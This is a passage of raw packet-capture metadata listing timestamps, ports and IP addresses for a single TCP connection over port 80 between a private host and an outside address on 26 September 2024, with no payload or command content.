Sep 26, 2024 12:12:21.857108116 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.857165098 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.902677059 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902743101 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902750969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902772903 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.902774096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902782917 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902798891 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902834892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.902834892 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.902873039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902880907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902965069 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.902975082 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902982950 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.902998924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903033018 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903070927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903079987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903088093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903166056 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903213024 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903223038 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903238058 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903247118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903263092 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903271914 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903316975 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903316975 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903337002 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903390884 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903484106 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903491974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903503895 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903506994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903559923 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903572083 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903585911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903589964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903631926 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903633118 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903671026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903678894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903693914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903774023 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903812885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903836012 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903837919 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903844118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903857946 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903867006 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903873920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.903892040 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.903944016 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904077053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904084921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904093981 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904112101 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904119968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904128075 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904135942 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904143095 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904222965 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904329062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904336929 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904344082 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904350042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904357910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904369116 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904376984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904385090 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904386997 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904417038 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904428005 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904597044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904716015 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904723883 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904738903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904747009 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904762983 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904771090 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904778957 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.904791117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904791117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.904838085 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.905004025 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905011892 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905026913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905034065 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905041933 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905056953 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905065060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905080080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905083895 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.905083895 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.905086994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.905111074 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.905148029 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.907660961 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907669067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907677889 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907732010 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907741070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907743931 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.907748938 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907772064 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907790899 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.907790899 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.907824039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907833099 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907924891 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907932997 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907939911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907948017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.907967091 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.907967091 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908056974 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908072948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908081055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908096075 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908143044 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908145905 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908150911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908185959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908194065 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908231974 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908231974 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908291101 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908298969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908314943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908322096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908344984 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908358097 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908380985 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908422947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908430099 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908471107 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908471107 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908482075 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908490896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908505917 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908513069 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908535004 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908538103 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908562899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908574104 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908616066 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.908626080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908632040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908639908 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.908673048 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.943816900 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.943824053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.943840981 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.943906069 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.943906069 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.943941116 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.943949938 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.943964958 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.944014072 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.944044113 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.944051027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.944132090 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.991971970 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.991981030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.991988897 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992032051 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992041111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992055893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992089987 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992089987 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992125988 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992185116 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992192984 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992201090 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992207050 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992216110 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992233038 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992240906 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992261887 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992261887 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992289066 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992440939 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992448092 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992464066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992472887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992489100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992513895 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992536068 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992536068 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992554903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992563009 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992578030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992584944 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992594004 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992635012 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992635012 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992830992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992839098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992854118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992860079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992866993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992882967 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992889881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992897987 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992903948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992903948 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992913008 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992923021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992932081 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992933035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992939949 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.992965937 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.992965937 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993053913 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993122101 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993221998 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993230104 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993244886 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993256092 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993300915 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993300915 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993381023 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993390083 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993405104 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993421078 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993432045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993437052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993438005 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993443966 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993453026 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993480921 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993480921 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993486881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993495941 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993503094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993505001 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993510962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993519068 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993526936 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993541002 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993541956 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993551016 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993557930 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.993602037 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.993602037 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994055986 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994064093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994079113 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994086027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994093895 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994102001 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994116068 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994122982 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994122982 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994122982 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994132042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994146109 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994151115 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994157076 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994173050 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994179964 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994201899 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994201899 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994400978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994410038 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994473934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994611025 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994622946 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994632959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994637966 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994643927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994658947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994671106 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994677067 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994682074 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994688034 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994694948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994694948 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994700909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994707108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994713068 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.994714975 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994735956 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994766951 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.994951010 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995155096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995161057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995174885 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995188951 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995196104 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995202065 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995204926 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.995207071 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995213985 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995218992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995229959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995235920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995240927 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995246887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995248079 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.995248079 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.995253086 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995265007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995271921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995271921 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.995277882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995282888 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.995285988 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995291948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995299101 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995311022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995316029 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:21.995341063 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.995341063 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:21.995362043 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.031874895 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.031893015 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.031898975 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.031970978 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.032010078 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.032016039 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.032027006 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.032033920 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.032080889 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.032080889 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.082606077 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082612038 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082631111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082679987 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.082684994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.082690001 CEST	80	49753	172.86.66.70	192.168.2.4
